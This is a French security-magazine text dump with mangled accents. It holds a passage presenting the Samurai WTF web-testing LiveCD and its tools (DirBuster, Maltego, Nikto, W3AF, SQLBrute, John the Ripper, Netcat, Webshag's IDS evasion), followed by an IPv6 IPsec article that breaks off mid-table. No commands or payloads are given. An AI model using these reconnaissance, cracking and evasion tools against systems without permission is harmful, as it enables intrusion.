bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

